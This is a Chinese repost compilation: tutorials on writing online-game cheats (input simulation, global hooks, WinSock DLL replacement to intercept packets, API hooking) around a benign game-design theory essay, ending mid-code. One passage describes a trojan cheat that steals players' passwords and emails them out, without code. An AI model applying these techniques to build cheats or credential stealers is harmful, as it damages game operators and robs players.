游戏编程

游戏外挂已经深深地影响着众多网络游戏玩家,今天在网上看到了一些关于游戏外挂编写的技术,于是转载上供大家参考
1、游戏外挂的原理

  外挂现在分为好多种,比如模拟键盘的,鼠标的,修改数据包的,还有修改本地内存的,但好像没有修改服务器内存的哦,呵呵。其实修改服务器也是有办法的,只是技术太高一般人没有办法入手而已。(比如请GM去夜总会、送礼、收黑钱等等办法都可以修改服务器数据,哈哈)

  修改游戏无非是修改一下本地内存的数据,或者截获API函数等等。这里我把所能想到的方法都作一个介绍,希望大家能做出很好的外挂来使游戏厂商更好的完善自己的技术。我见到一篇文章是讲魔力宝贝的理论分析,写得不错,大概是那个样子。下来我就讲解一下技术方面的东西,以作引玉之用。

  2 技术分析部分

  2.1 模拟键盘或鼠标的响应

  我们一般使用:

  UINT SendInput(
    UINT nInputs,   // count of input events
    LPINPUT pInputs, // array of input events
    int cbSize    // size of structure
  );
  API函数。第一个参数是说明第二个参数的矩阵的维数的,第二个参数包含了响应事件,这个自己填充就可以,最后是这个结构的大小,非常简单,这是最简单的方法模拟键盘鼠标了,呵呵。注意,这个函数还有个替代函数:

  VOID keybd_event(
    BYTE bVk,       // 虚拟键码
    BYTE bScan,      // 扫描码
    DWORD dwFlags,
    ULONG_PTR dwExtraInfo // 附加键状态
  );
  与

  VOID mouse_event(
    DWORD dwFlags,      // motion and click options
    DWORD dx,         // horizontal position or change
    DWORD dy,        // vertical position or change
    DWORD dwData,      // wheel movement
    ULONG_PTR dwExtraInfo  // application-defined information
  );
  这两个函数非常简单了,我想那些按键精灵就是用的这个吧。上面的是模拟键盘,下面的是模拟鼠标的。这个仅仅是模拟部分,要和游戏联系起来我们还需要找到游戏的窗口才行,或者包含快捷键,就象按键精灵的那个激活键一样,我们可以用GetWindow函数来枚举窗口,也可以用Findwindow函数来查找制定的窗口(注意,还有一个FindWindowEx),FindwindowEx可以找到窗口的子窗口,比如按钮,等什么东西。当游戏切换场景的时候我们可以用FindWindowEx来确定一些当前窗口的特征,从而判断是否还在这个场景,方法很多了,比如可以GetWindowInfo来确定一些东西,比如当查找不到某个按钮的时候就说明游戏场景已经切换了,等等办法。有的游戏没有控件在里面,这是对图像做坐标变换的话,这种方法就要受到限制了。这就需要我们用别的办法来辅助分析了。

  至于快捷键我们要用动态连接库实现了,里面要用到hook技术了,这个也非常简单。大家可能都会了,其实就是一个全局的hook对象然后SetWindowHook就可以了,回调函数都是现成的,而且现在网上的例子多如牛毛。这个实现在外挂中已经很普遍了。如果还有谁不明白,那就去看看MSDN查找SetWindowHook就可以了。

  不要低估了这个动态连接库的作用,它可以切入所有的进程空间,也就是可以加载到所有的游戏里面哦,只要用对,你会发现很有用途的。这个需要你复习一下Win32编程的基础知识了。呵呵,赶快去看书吧。

  2.2 截获消息

  有些游戏的响应机制比较简单,是基于消息的,或者用什么定时器的东西。这个时候你就可以用拦截消息来实现一些有趣的功能了。

  我们拦截消息使用的也是hook技术,里面包括了键盘消息,鼠标消息,系统消息,日志等,别的对我们没有什么大的用处,我们只用拦截消息的回调函数就可以了,这个不会让我写例子吧。其实这个和上面的一样,都是用SetWindowHook来写的,看看就明白了很简单的。

  至于拦截了以后做什么就是你的事情了,比如在每个定时器消息里面处理一些我们的数据判断,或者在定时器里面在模拟一次定时器,那么有些数据就会处理两次,呵呵。后果嘛,不一定是好事情哦,呵呵,不过如果数据计算放在客户端的游戏就可以真的改变数据了,呵呵,试试看吧。用途还有很多,自己想也可以想出来的,呵呵。

  2.3 拦截Socket包

  这个技术难度要比原来的高很多。

  首先我们要替换WinSock.DLL或者WinSock32.DLL,我们写的替换函数要和原来的函数一致才行,就是说它的函数输出什么样的,我们也要输出什么样子的函数,而且参数,参数顺序都要一样才行,然后在我们的函数里面调用真正的WinSock32.DLL里面的函数就可以了。

  首先:我们可以替换动态库到系统路径。

  其次:我们应用程序启动的时候可以加载原有的动态库,用这个函数LoadLibary然后定位函数入口用GetProcAddress函数获得每个真正Socket函数的入口地址。

  当游戏进行的时候它会调用我们的动态库,然后从我们的动态库中处理完毕后才跳转到真正动态库的函数地址,这样我们就可以在里面处理自己的数据了,应该是一切数据。呵呵,兴奋吧,拦截了数据包我们还要分析之后才能进行正确的应答,不要以为这样工作就完成了,还早呢。等分析完毕以后我们还要仿真应答机制来和服务器通信,一个不小心就会被封号。

  分析数据才是工作量的来源呢,游戏每次升级有可能加密方式会有所改变,因此我们写外挂的人都是亡命之徒啊,被人愚弄了还不知道。

  2.4 截获API

  上面的技术如果可以灵活运用的话我们就不用截获API函数了,其实这种技术是一种补充技术。比如我们需要截获Socket以外的函数作为我们的用途,我们就要用这个技术了,其实我们也可以用它直接拦截在Socket中的函数,这样更直接。

  现在拦截API的教程到处都是,我就不列举了,我用的比较习惯的方法是根据输入节进行拦截的,这个方法可以用到任何一种操作系统上,比如Windows 98/2000等,有些方法不是跨平台的,我不建议使用。这个技术大家可以参考《Windows核心编程》里面的545页开始的内容来学习,如果是Win98系统可以用“Windows系统奥秘”那个最后一章来学习。


游戏理论研究

成功的游戏设计者们应该能够而且必须超越直觉判断和草率行事,他们必然在设计
中或有意或无意地遵循着某些准则,正是对这些准则的正确理解和灵活运用保证了一部
游戏作品在商业上和艺术上的成功,而这些准则是以下列形式出现的:
1.底层游戏理论及模型
2.专门技术及艺术表达手段
3.具体实践及反馈信息
其中游戏理论及模型构成了金字塔结构的底层。游戏之所以为游戏,不同于艺术形
式或娱乐形式,必然有其自身内在的规律。游戏理论,顾名思义是有关游戏的理论。它
应该能超越具体单个游戏的纷繁复杂的外部特性,对有关游戏最本质最共性的问题进行
理性的思考,最终提炼出游戏的一般模型,确立游戏设计的多项推则,对游戏的设计开
发工作起根本的指导作用。游戏理论涉及艺术理论、心理学、计算机科学等诸多领域,
从多角度探讨游戏与游戏设计者、游戏者之间的复杂关系。分层次研究游戏所包含的科
学技术层、艺术审美层产、心理情感层等问题。对上述问题的思考和阐述,不仅对有志
于成为游戏设计者的人们,而且对广大对游戏抱有无比热忱的游戏者都是有益的。
建立游戏理论的目的,不仅在于针对那个被称为游戏的对象去考察和阐述有关其性
质的永恒真理,而更重要的是针对游戏设计者在设计实践出现的某些问题,通过思考找
出某些解决办法来。本文所涉及的一切都直接地或间接地与当今游戏界的状况有着实际
的关联。
1.游戏模型
无论RPG、SLG还是ACT,透过游戏干差万别的外部特性,考察游戏本身和游戏者构成
的统一的游戏系统,可以发现这是一个动态的多层模型系统。如图2所示。游戏本体包含
游戏内核(内层)和交互层两层。通过交互层,游戏可以有效地向游戏者展示内层的某些
信息,又能接受游戏者的输入,交互层是游戏者眼中所能见到的游戏。而内层对游戏者
来说相当于一个黑箱,游戏者通过交互输入一定的行为,内层根据自己的内部机制产生
一定的反应,又通过交互层输出。这种根据一定输入决定产生什么样输出的内部机制对
游戏者来说是不可见的。一个设计出色的游戏必须要细心地隐藏内层的运行机制,因为
内层的运行机制一旦泄露,游戏者完全掌握了其规律,游戏在游戏者眼中将失去一切挑
战性和趣味性。则游戏的生命周期也就至此结束了。
目前在游戏界存在的一种不良倾向,即忽略了游戏内核的设计,只注重游戏的交互层
,甚至只注重属于交互层的一部分的外部效果,在32位机上许多游戏使用三维动画技术
产生了令人膛目结舌的视听效果,但被广大游戏者认为徒具外表,操作性游戏性则十分
缺乏。因为游戏的交互层细分起来包括游戏的外部效果和操作性两部分。外部效果指展
现在游戏者面前的画面、动画、音乐、音效和文字等。游戏者对外部效果是处在被动欣
赏的位置。而操作性才是游戏所特有的使游戏者有一定主动性的关键内容。显然,游戏
的操作性的重要性应引起设计者重视。而更关键的则是游戏内核,因为游戏的操作性只
是决定了如何进行输入/输出行为,而并不决定输入/输出什么,决定输入/输出集及输
入/输出响应策略的是游戏内核,它才是游戏真正的核心,才是游戏最深层次的灵魂,
才是吸引游戏者为之废寝忘食的魔力所在,应把盲目投入外部效果的努力投入到对游戏
内核的严格设计审核上,拥有了优秀的游戏内核,才有发挥外部效果的可能性,否则游
戏的外部效果将成为无源之水、无本之木。这一点迄今为止都没有引起大多数游戏设计
者的重视,他们大多数都被外部效果这一叶所障目,不见真正游戏实质之泰山。于是赶
潮流、追风头,正如DOOM系列成功后,产生了一大批DOOM LIKE的游戏;取得显著成功的
MYST也产生了大量的模仿者。它们和原型作品同样具有精细的三维动画、动人的音响效
果、具有神韵的对象,光线颜色俱佳的画面,总而言之在可视媒体素材上它们一样的丰
富,但模仿者并未享受到与原著相同的欢迎度。而开发出著名的MYST的Broderbund在开
发新游戏时,先做出游戏的工作原型,再利用70人花费数个月对其测试,这种原型是游
戏的一个纯文本版本,而与媒体的开发无关。调试人员考察此纯文本版本,摆脱具体媒
体效果的影响,以便游戏内部的运行机制和交互功能得到彻底的测试。测试的目的主要
是看用户对游戏机制的反应,最终决定游戏的内核是否真正吸引游戏者,值得去为它加
上媒体的绚丽的外壳,进行实际的开发工作。
最后着重强调由游戏分层模型引出的第一条游戏设计准则:
决定游戏成功与否的永远都是游戏的内核而非游戏的外部效果。在游戏的设计中,
特别是前期设计中,应给予游戏的内核足够重视,不要贪多求快、盲目地过早进入具体
的外部效果设计。
2.游戏的情感世界
倘若一部游戏不能使游戏者获得某种深层的情感,那么它所受到的欢迎程度将是有
限的。在确定了具有竞争性的游戏内部机制后,下一步需要考虑的就是游戏的情感世界
,实际上是特定游戏者群的情感世界。下面要讨论的是游戏采用何种手段使游戏者获得
情感体验.我们将会看到游戏独有的虚拟情境,以及普遍存在的焦虑产生及释放过程,
还要附带提及期待及悬念问题。
2.1、虚拟情境
如果一件制造品的设计意在激起一种情感,并且不想使这种情感释放在日常生活的
事务之中,而要作为本身有价值的某种东西加以享受,那么,这种制造品的功能就在于
娱乐。娱乐并不实用而只能享受,因为在娱乐世界和日常事务之间存在着一堵滴水不漏
的挡壁.娱乐所产生的情感就在这间不漏水的隔离空里自行其谊。游戏作为一种娱乐形
式,也存在着自己的情感隔离室.称为虚拟情境。
游戏是以不干预实际生活的方式释放情感的一种方法,为了使情感可以不影响生活
地释放出来.必须创造一种虚报情境。所谓“虚拟”情境被理解为情感会因为被释放而
“接地”,它不会涉及到那些在实际生活条件下会涉及到的种种后果。在现实生活中.
如果一个人要表示对另一个人的忿恨,朝他挥舞拳头进行威胁等等,通常他会被认为是
一个危险人物,而对被他威胁的那个人来说是尤其危险的;于是那个人会采用种种步骤
来保护自己:或平息前者怒气,或申请警察的保护。如果人们认识到不会出这类事情,
生活将照样进行,那么,在其中表现馈怒的哪种情境就被称为虚拟情境。
为了在游戏和实际生活之间比较.我们可以把情感分成两部分,显然在游戏者游戏
过程中,情感本身被当做目的加以对待;而在现实生活中,情感本身不是目的而是后果
。现实生活中的情感也许会渗入游戏的虚拟情境的情感中,而游戏的虚拟情境中的情感
不会影响到现实生活中来,因为在游戏中它们已经被“接地”释放了。
2.2、焦虑及其释放
从动态观点来考虑,任何情感在其存在过程中都有两个阶段;负荷即兴奋阶段,以
及释放阶段。一种情感的释放,是在那种情感的推动下完成的动作,借助这一动作我们
就消除了那种情感,也就使我们自己从情感释放以前加在我们身上的紧张中解脱出来了
。与此对应,虚拟情境的主要任务主要有两个:
1.唤起游戏者某种情感
2.在那种情感的推动下完成某些动作,借助这些动作最终消除那种情感
这正是游戏的独特性。我们发现很有趣的现象:在游戏中我们获得的愉悦和兴奋,
其实是在一个高度负荷的情思释放过程中获得的,游戏也为这种释放过程提供了虚拟情
境(场所)和游戏行为系统(手段),而产生这一高度负荷的情感及其所带来的焦虑、紧张
等不适感的恰恰正是游戏本身。游戏本身在扮演一个“双簧”的角色,它实际上在一定
程度上“玩弄”了游戏者。这一点与音乐带给我们的情感体验是一样的,在交响乐作品
中,作曲家通过反复重现一个旋律片段,使我们进入某种情感体验,但随着旋律重复的
继续,我们开始期待看它的变化和完成,产生疑惑、焦虑的情绪,随着时间的流逝.听
众的紧张度越来越大,迫切需要从这种精神状态中解脱出来,这时作曲家等待听众的紧
张度达到承受的极限,马上使用与上一个旋律截然对立的另一个旋律来打破上一个旋律
,从而使听众从某一个感情的高点跌落下来。获得强烈的解脱感。在RPG游戏中,为了让
游戏者最终获得打败大魔头的快感,游戏往往通过无休止的三、四流小妖反复进攻游戏
者,在游戏者长时间的鹰战中增加焦虑和紧张感,而游戏设计者也适当掌握着度数,达
到一定阶段后,游戏者最终通过艰苦战斗获得胜利,产生无以名状的快乐。
因此我们看到,游戏的目的在于产生确定的、预期的效果,即在某种类型的游戏者
身上唤起某种情感,并在虚拟情境内释放这种情感,情感释放使游戏者获得快乐。游戏
设计者把通过唤起某些情感来取悦游戏者作为自己的任务。整个游戏过程中,游戏者将
体验许多个这样的焦虑——释放过程,他的情绪也处于波动之中,被游戏设计者灵活调
动、层层推进,见图3。
2.3、期待、悬念
游戏的一个重要组成部分是不可预见性,由此产生期待与悬念。游戏者在游戏前对
游戏的最后目标将是什么有一个大概的感觉,但是关于当前这个过程将怎样带他到达那
里,在途中将遇到什么曲折和障碍,他是不能断定的。游戏者在游戏中由于并不知道游
戏内核的运行机制,因此对于自己动作的结果有一种忐忑不安的期待。在所有的游戏中
,游戏者总是通过经验实现对不可预测性的抗争。从不可预测性上看,游戏可分为两种
,一种称为技能游戏,另一种称为机会游戏。前一种游戏的内部运行机制是确定的,不
可预测性产生的原因是由于游戏设计者故意隐藏了运行机制,游戏者可以最终通过对游
戏运行机制的理解和控制(即某种技能)解除这种不可预测性。而后一种游戏中游戏本身
的运行机制具有模糊性,具有随机因素,不能完全通过对游戏机制的解码消除不可预测
性,游戏动作产生的结果是机会的。
期待是在与特殊的游戏规律相联系中发展起来的习惯反应。游戏者不断根据自己的
期待决定动作,在根据动作结果修正期待,如果期待长期偏离则产生紧张、焦虑感。在
游戏中,期待和对期待的控制很有意义。不能使游戏者的期待完全落空,这特使游戏者
产生严重的挫折感,也不能使游戏者的期待完全应验,否则游戏将失去不可预测性。应
该时而使游戏者的期待变成精确的结果,使其增强信心,获得欣喜;时而抑制游戏者的
期待,使其产生疑惑,疑惑的时间持续越长,悬念的情绪就愈强烈,建立起来的悬念紧
张度越大,由解决引起的情感上的解脱感就越强。悬念产生的价值不在其本身,而在于
随之而来的解脱。期待、悬念及其解除过程实际上与焦虑、释放过程是相对应的。只不
过一个更偏重于经验方面,另一个更偏重于情感方面。
最后着重强调由游戏的情感世界引出的第二条游戏设计准则:
在虚拟情境中要故意制造某种情感的负荷,使游戏者产生焦虑、镊张憾绪,然后巧
妙地调动引导游戏者,最终使其解除焦虑状态,产生意度的解脱感和兴奋感。同时要针
对游戏者的期待,适度产生悬念对抗游戏者不断增长的经验,使其能感到游戏处于一种
动态的变化中。
3.游戏的行为系统
游戏的行为系统,实际上是游戏内部运行机制决定的游戏的输入/输出集,它决定
了游戏者在特定的游戏系统中可以做什么,不可以做什么。游戏行为系统的功能就是作
为情感释放手段,它也是游戏交互性的重要组成部分。
3.1、封闭系统
任何游戏的行为系统,都是一个封闭系统。游戏者所具有的选择能力和处理能力都
被严格限制在这一封闭系统中。这个封闭系统具有自己特有的反应机制,对应一定的输
入产生一定的输出。
一个封闭的行为系统有两个组成要素:交互手段(输人/输出手段)。交互法则(输入
/输出映射关系)。
3.2、交互手段
目前我们所熟知的与计算机交互的手段,如:菜单、窗口、鼠标操作等。都是建立
在计算机科学与技术前一阶段研究的基础上。象前面列举的构成GUI(图形用户界面)的诸
要素,就是先在大学的实验室中得到实验与应用,后来成为工业界的实际标准。而作为
软件中对市场和底层技术反应最快的游戏软件,往往最早应用这些研究成果。当然目前
的交互手段有很大局限性,带有太大的计算机色彩,象键盘、鼠标,VR战士们是不应该
通过一连串乱七八遭的按键(按键的设定就是一个稳定的封闭的行为系统)出拳的。目前
很热门的研究领域如:人机交互(Human-Computer Interaction),虚拟现实(Virtual R
eality),如能突破技术难关,则比之现在的交互手段将会有很大进步直至飞跃,将使我
们置身于梦幻般的虚拟游戏世界,带来强烈的临场感受。这样一个虚拟的物理世界和一
个虚幻的情感世界结合在一起,将产生一门最具震撼力的娱乐形式,其表现力将使电影
、电视相形见拙。当然这大概是很远的将来的事情了,因为技术上的难度很大。(虚拟现
实系统的实时处理能力和游戏故事情节多线拓扑结构及其数据组织是为游戏增添更大自
由度的两个最大的瓶颈,此不赘述)
3.3、交互法则
作为行为系统第二个要求的交互法则(输入/输出法则),应该具有一定的动态性,
也就是说在游戏者游戏过程中,游戏行为系统的反应机制从来都不是一成不变的。游戏
者在游戏过程中通过学习、运用、获得反馈,内部机制。这时游戏应该改进反应机制,
迫使游戏者调整自己的学习一反馈一掌握一运用曲线,基本保持游戏的全程新鲜感。当
然反应机制应该采用渐改的方法,向下兼容、渐进发展的行为模式,现在的经验是将来
可用的、有用的,但将来的情况又不是现在的经验完全对付得了的。即现在是将来的真
子集。
第三条游戏设计准则:
游戏的行为系统是一个封闭系统,但不是一个静态系统,应采取向下兼容、渐进发
展的行为模式,使游戏尽可能不被游戏者“琢磨”透,使其尽可能长地具有挑战性。
4.RPG游戏
RPG游戏 (角色扮演类游戏)无疑是最受欢迎的游戏类型。但很难对其进行确切定义
。本文采取用其性质或者说其构成要素来定义其本身的方法,在阐述了下述问题之后,
对RPG游戏的定义问题也就得到了解决。
4.1、对人生的模拟
如果说飞行模拟类(Flight Simulation)、体育类[Aethetics)、动作类(Action)等
游戏都是对现有的某项人类活动的再现与模拟的话,那么RPG游戏体现的则是对整个人生
的再现与模拟。正因为如此,RPG游戏所构造的情感世界是所有类型的游戏中最为强大的
,能带给我们深刻的体验感。这种体验感来源于每个人内心深处对人生的感悟和迷茫,
无奈与苛求,失意与希望,在RPG游戏所构造的虚拟的人生的情感世界中得到了共鸣。
4.2、RPG游戏的三维空间
可以用一个三维坐标系统来定位RPG游戏,所有类型的RPG游戏部位于这个坐标系所
界定的三维空间中。
上图的三个坐标轴所表示的内容分别为构成RPG游戏的三大特性,即为:
1.艺术性(Z轴)
2.故事性(Y轴)
3,交互性(X轴)
倘若我们把每个坐标轴的最大坐标值定为1,那么坐标点(0,0,1)代表纯粹的艺术
作品、如:视觉艺术(Visual Arts)、音乐作品等;(1,O,0)点代表完全的操作性活动
,如:体育运动;(0,1,0)点则代表故事情节及其纯线性的展现和播放,如:电影剧本
、VCD和录象磁带。而RPG游戏则位于点(X,Y,Z)。其中:0<X<1,o<Y<1,o<Z<1
。而不同类型的RPG游戏,在这个三维空间所处坐标不同。偏重交互性的,其X值较大;
偏重故事性的,其Y值较大。需要指出的是:X,Y,Z的值都不能为O,因为构成RPG的三
大特性或者说三大要素对任何一个RPG游戏都是必不可少的。
在艺术性上,RPG游戏和其它类型的游戏一样,借助于多媒体现听(MAV)的强大能力
,综合了美术、动画、音乐、音效、文学、戏剧等多种艺术娱乐表达形式。在故事性上
,与其它游戏类型相比, RPG游戏和电影的关系更为密切。因为它们的“情节”都是由
“剧本”严格限定的,也就是单线发展的。但与被动欣赏的电影不同的是RPG游戏给游戏
者提供了虚假的主动性。在RPG模型中我们将要看到这种虚假的主动性是如何达成的。这
种虚假的主动性和被动的故事设定情节相结合而构成了RPG游戏的交互性。
4.3、RPG模型
剥去各种RP6游戏的外部特性,我们可以看到RPG游戏的普适模型。如图5。这也是所
有RPG游戏的拓扑结构。这是一种单线发展的RPG游戏。它由两部分构成:一部分是主控
部分,也就是交互部分。当主控部分起作用时,游戏的操纵权被授予了游戏者,游戏者
可以充分利用游戏所赋予的交互手段进行输入;另一部分是设定的被动的剧情,由线性
排列的一连串事件组成。所谓事件,就是在一定时间内从游戏者手中剥夺游戏的操纵权
,从而使游戏按设定的轨道向下发展,比较普遍的是被动地显示一段动画。在游戏过程
中,游戏者获得操纵权后,进行输入。一引发某个事件(显然单线RP6游戏同一时刻只可
能引发一个唯一的事件),游戏者操纵权被剥夺。当事件完成后,操纵权又被赋与游戏者
,用来引发下一个事件。游戏者就是这样不停地交替地被赋予和剥夺游戏操纵权,事件
也就这样按设定的轨道发展下去。所以我们发现:RPG游戏中游戏者只是虚假地拥有主动
性,游戏者实际上只拥有决定何时弓发事件的权利(玩RPG游戏的能力高低就在于是否能
很快找到引发事件的“点”,能力低者会淹没于RPG游戏中各种信息的海洋中,不知那个
信息是决定事件发展的关键),而不具有任何决定事件发展顺序或事件本身的权利。
4.4、多线RPG游戏遇到的问题
实际上上面所述的单线RPG结构在七八年前就很成熟并定型了,直至今日未有太大发
展。现今的一些所谓RPG大作,扣PC上的<仙剑奇侠传>,SFC上<CHRONOTRl6GER>等从本质
上说比之八十年代FC上处于胚胎期的RPG游戏没有什么不同,只不过画面更精致了。有了
花哩呼哨的动画,高保真度的音效、音乐等等。那么使RPG游戏真正具有一定的主动性,
这一梦想无疑对游戏设计者来说是极具挑战性的。但遗撼的很,技术上难度相当大,起
码在现在看不出任何曙光。因为这里面的问题早已超越了RPG游戏的本身。
我们知道,超媒体(Hypermedia)或超文本(Hypertext)技术出现之前,人们读一本书
,一般是按一定章节顺序读的,也就是线性的。书的组织也是按一定的线性顺序组织的
。超媒体(文本)技术出现以后,在多媒体出版领域成为事实的标准,它们实际上是通过
在文章中设定关键字跳转,使线性的书形成一种网状结构。这样从同一个起点浏览,碰
到关键字后跳转的可能性成N次方级激增。正如回字有几种写法一样,同一本多媒体读物
,包含同样的素材,但可以有无数种读的方法。但这种多媒体读物一般适用于百科类图
书,相当于资料汇编。对于有故事情节的文学性著作就无能为力了。具有情节性的RPG游
戏现在也是线性结构,若采取多线结构,首先面临的是选择一个合适的拓扑结构。从数
据结构角度看,可以有树状结构,网状结构等。
在多线RPG中,事件的含义与单线RPG有很大不同。在单线RPG中事件是一个无交互的
叙事性段落。而在多线RPG中,事件不仅是触发后的一段叙事段落,更重要的是一个选择
点,它决定了事件流的导向。正如人生中遇到的许多选择一样,不同的选择将导致截然
不同的结果。这样游戏者不仅拥有决定事件发生时刻的权利,同时也拥有了决定发生什
么事件的权利、当然,在选择时他们并不能预期将要发生什么,后果如何,这还是由游
戏设计者决定的。但游戏者确实拥有了真正的选择的权利,尽管选择的范围也是被游戏
设计者设定的。但树状结构与网状结构不同的是,在一次游戏过程中,树状结构遵循因
果律。事件是分级的,不同级的事件发生的先后顺序是确定的,有因有果,并且同一级
只能有一个事件发生,则这一级其它事件(节点)及其以后的事件(子树)在以后的游戏过
程中将不起任何作用。而网状结构则提供了在事件集中任意漫游的可能。无分级的概念
,无因果的约束,任何事件都可能被触发。显然网状结构不符合我门日常的生活实际,
但网状结构的研究对多线RPG还是很有意义的。
考察树状结构,我们发现其实现的最大障碍不是技术上的,而是其数据(资源)费效
比太氏,数据(资源)冗余度太大,以至于完全不能按理想的树状结构去设计一个游戏,
倘一个RPG游戏有10级,形成完全二叉树(每一个事件点上游戏者面临两个选择项),游戏
者在一次游戏中只可能经历10个事件。但游戏设计者为了实现二叉选择这一功能,将不
得不准备2的45次方个事件的有关数据,这简直是个天文数字(当然这和真正的人生有些
相似,人生中每一天每一小时每一分钟每一秒的可能性都是无穷的,在每一天每一小时
每一分钟每一秒做出的选择导致的一连串因果相循的后果可能性也是无穷的)。
目前几种标榜多线的游戏,采取下图的拓扑结构。
这种简化的结构是使单线结构出现了几个小支路,最后还归并到主线的不同地方。
这实际上只是一种改进了的单线结构,实际意义令人怀疑。从心理上分析,游戏者在费
很长时间很大精力玩完一谊游戏后一般不会为了几个无关紧要的支路再重新将主线遍历
一遍。一般来说,第二次玩RPG游戏时,只有当游戏的2/3主线具有新内容才能被游戏者
接受。但这样大规模对主线附加支路,将使RPG游戏的拓扑结构变得象图8所示。
可以看到,冗余度仍然相当大,接近200%。但这是目前技术所能实现的,有一定多
线性的RPG结构。
在网状结构中,每一个事件都是可能发生的,平等的,这是一种有效的数据(资源)
组织形式,不存在资源浪费(冗余)问题。可以设想是否可将因果性的树状结构和非因果
的网状结构结合;从而解决真正对人生选择的模拟和海量数据冗余之间难以调和的矛眉
的问题。当然这有待于进一步研究,而且也并非一朝一夕就可以解决的。
    5.游戏设计与开发
5.1.游戏设计者
对游戏设计怀有兴趣的人大致可分为两类:具有技术素质的艺术家和具有艺术趣味
的技术人员。前者熟知他们所要表达的最终效果,并能用准确的语言、文字、图象和音
乐等形式表达出来。但对于如何达成这一最终效果往往缺乏足够的技术能力和专门知识
;而后一类人员,由于所受的训练,他们所擅长从事的,正是前一类入做得很差或根本
无法做到的事情。他们并不能独立地、明确地提出艺术方面的标准和意见,但能将各种
艺术形式表述最终效果反推、翻译成软件工程计划书、各种设计文档直至程序代码和数
据文件,并用严谨的工程技术手段实现整个游戏设计。这两类人部属于跨越学科局限,
文理界限的边缘型人才。他们是游戏设计群体的核心人物,在纯粹的技术开发人员和纯
粹的艺术设计人员之间的鸿沟上架起了桥梁。但作为游戏设计开发的主管人员,上述两
类人各有其弱点:第一类具有技术素质的艺术家对技术的理解片面而且肤浅,没有工程
的观点,容易沉溺于艺术表现的激情中不能自拔;后一类具有艺术趣味的技术人员对艺
术的理解力、创造力都不能胜任游戏的全面设计工作,而且往往比较实际,缺乏想象力
,用技术复现代替了艺术创新。针对这两类人的情况,我们会看到在下面我们将游戏的
整个产生过程划分为设计阶段和实现阶段后,前一类人胜任于设计阶段,后一类人胜任
于开发阶段。而这两类人不仅需要成为技术人员和艺术设计人员沟通的桥梁,他们之间
也需要进行沟通和合作。
5.2.设计与开发
设计与开发是两个不同的阶段。有两种论点:一种认为应将这两阶段完全割裂开。
设计阶段应完全将游戏设计的构想固化,解决游戏的用户视图及开发人员视图(Gamers'
View and Developers'View)。这样在开发阶段软件开发人员可以较顺利地应用开发人员
视图(软件蓝图,计划书,文档等),美工等可较方便地利用用户视图(界面,形象设计等
)按部就班地进行开发工作。这种观点是较经典的软件工程方法。主要是从如何最有效地
实施软件工程的角度考虑的,也较理想化。另一种观点较实际,认为设计和开发阶段总
是交替在一起的,无法完全割裂,因此需要多次反馈、修改。但不营怎样,大部公认设
计人员与开发人员是不同的两类人,承担不同的工作,需要不同的素质。
另外,游戏的设计与开发实际都是采取软件工程中经典瀑布模型和原型法相结合的
方法。尤其是原型法显得更为重要。
6.小结
本文所述是笔者在自己几年的摸索实践中一点粗浅想法,由于学业在身、时间仓促
,以上观点还很不成熟,愿与有志于游戏事业者共讨。

外挂浅析
外挂无非分以下几种(依制作难度):

1、动作式,所谓动作式,就是指用API发命令给窗口或API控制鼠标、键盘等,使游戏里的人物进行流动或者攻击,最早以前的“石器”外挂就是这种方式


2、本地修改式,这种外挂跟传统上的一些游戏修改器没有两样,做这种外挂在编程只需要对内存地址有一点认识并且掌握API就可以实现,它的难点在于找到那些地址码,找地址一般地要借助于别人的工具,有的游戏还有双码校验,正正找起来会比较困难。这种外挂 需要有对内存地址的理解及应用能力

3、木马式,这种外挂的目的是帮外挂制作者偷到用户的密码,做这种外挂有一定的难度,需要HOOK或键盘监视技术做底子,才可以完成,它的原理是先首截了用户的帐号或密码,然后发到指定邮箱


4、加速式,这种外挂可以加快游戏的速度

5、封包式,这种外挂是高难度外挂,需要有很强的编程功力才可以写得出来。它的原理是先截取封包,后修改,再转发。这种外挂适用于大多数网络游戏,像WPE及一些网络游戏外挂都是用这种方式写成的,编写这种外挂需要apihook技术,winsock技术

  这几种外挂之中,用VC等底层支持比较好的编程工具才好实现。

外挂制作(由浅至深):

首先,先来谈一下动作式的外挂,这是最简单的一种。记得还在“石器”时代的时候,我看到别人挂着一种软件(外挂)人物就可以四外游走(当时我还不知道外挂怎么回事^_^),于是找了这种软件过来研究(拿来后才听别人说这叫外挂),发现这种东东其实实现起来并不难,仔佃看其实人物的行走无非就是鼠标在不同的地方点来点去而已,看后就有实现这功能的冲动,随后跑到MSDN上看了一些资料,发现这种实现这几个功能,只需要几个简单的API函数就可以搞定:

1、首先我们要知道现在鼠标的位置(为了好还原现在鼠标的位置)所以我们就要用到API函数GetCursorPos,它的使用方法如下:
BOOL GetCursorPos( LPPOINT lpPoint // address of structure for cursor position );

2、我们把鼠标的位置移到要到人物走到的地方,我们就要用到SetCursorPos函数来移动鼠标位置,它的使用方法如下:
BOOL SetCursorPos(

int X, // horizontal position
int Y // vertical position
);
3、模拟鼠标发出按下和放开的动作,我们要用到mouse_event函数来实现,具休使用方法用下:

VOID mouse_event(

DWORD dwFlags, // flags specifying various motion/click variants
DWORD dx, // horizontal mouse position or position change
DWORD dy, // vertical mouse position or position change
DWORD dwData, // amount of wheel movement
DWORD dwExtraInfo // 32 bits of application-defined information
);
在它的dwFlags处,可用的事件很多如移动MOUSEEVENTF_MOVE,左键按下MOUSEEVENTF_LEFTDOWN,左键放开MOUSEEVENTF_LEFTUP,具体的东东还是查一下MSDN吧~~~~~

好了,有了以前的知识,我们就可以来看看人物移走是怎么实现的了:

getcursorpos(point);
setcursorpos(ranpoint(80,windowX),ranpoint(80,windowY));//ranpoint是个自制的随机坐标函数
mouse_event(MOUSEEVENTF_LEFTDOWN,0,0,0,0);
mouse_event(MOUSEEVENTF_LEFTUP,0,0,0,0);
setcursorpos(point.x,point.y);

看了以上的代码,是不是觉得人物的游走很简单啦~~,举一仿三,还有好多好东东可以用这个技巧实现,接下来,再看看游戏里面自动攻击的做法吧(必需游戏中攻击支持快捷键的),道理还是一样的,只是用的API不同罢了~~~,这回我们要用到的是keybd_event函数,其用法如下:

VOID keybd_event(

BYTE bVk, // virtual-key code
BYTE bScan, // hardware scan code
DWORD dwFlags, // flags specifying various function options
DWORD dwExtraInfo // additional data associated with keystroke
);
我们还要知道扫描码不可以直接使用,要用函数MapVirtualKey把键值转成扫描码,MapVirtualKey的具体使用方法如下:
UINT MapVirtualKey(

UINT uCode, // virtual-key code or scan code
UINT uMapType // translation to perform

);
好了,比说此快接键是CTRL+A,接下来让我们看看实际代码是怎么写的:

keybd_event(VK_CONTROL,mapvirtualkey(VK_CONTROL,0),0,0);
